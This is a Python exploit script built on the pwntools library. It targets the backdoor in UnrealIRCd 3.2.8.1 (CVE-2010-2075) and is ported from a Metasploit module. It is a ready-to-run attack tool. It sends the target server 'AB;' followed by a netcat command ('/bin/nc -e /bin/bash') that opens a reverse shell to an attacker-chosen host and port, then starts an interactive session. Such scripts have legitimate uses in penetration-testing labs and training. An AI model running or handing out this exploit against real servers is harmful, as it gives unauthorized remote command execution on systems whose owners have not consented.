# -*- coding: utf-8 -*-

# UnrealIRCD 3.2.8.1 Backdoor Command Execution 
# CVE: 2010-2075
# Exploit author: hdm
# https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
# https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import sys
from pwn import *


def main():
    # args
    argparser = argparse.ArgumentParser(description='UnrealIRCD 3.2.8.1 Backdoor Command Execution', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--rhost', type=str,
                            help='UnrealIRCD host', 
                            required=True)
    
    main_arg.add_argument('--rport', type=str,
                            help='UnrealIRCD port', 
                            required=True)
                            
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    rhost = args.rhost
    rport = args.rport
    lhost = args.lhost
    lport = args.lport
    
    def reverse_shell(l):
        
        print(" [*] Spawning the reverse shell...")
 
        l.sendline("""whoami""")
        l.interactive()
    
    def exploit():
        
        payload = "/bin/nc -e /bin/bash {} {}".format(lhost, lport)
        
        print(" [*] Executing commands on UnrealIRCD backdoor...")
        
        try:
            l = listen(lport)
            
            r = remote(rhost, rport)
            r.send('AB;{}\\n'.format(payload))
        
        except Exception as e:
            print(e)
            print(" [*] Failed to contact UnrealIRCD backdoor :(")
            sys.exit(1)
        
        else:    
            reverse_shell(l)
    
    # main
    print(" [>] UnrealIRCD 3.2.8.1 Backdoor Command Execution")
    print(" [*] Python script exploit author: nullarmor")
    
    exploit()
    
if __name__ == "__main__":
    main()
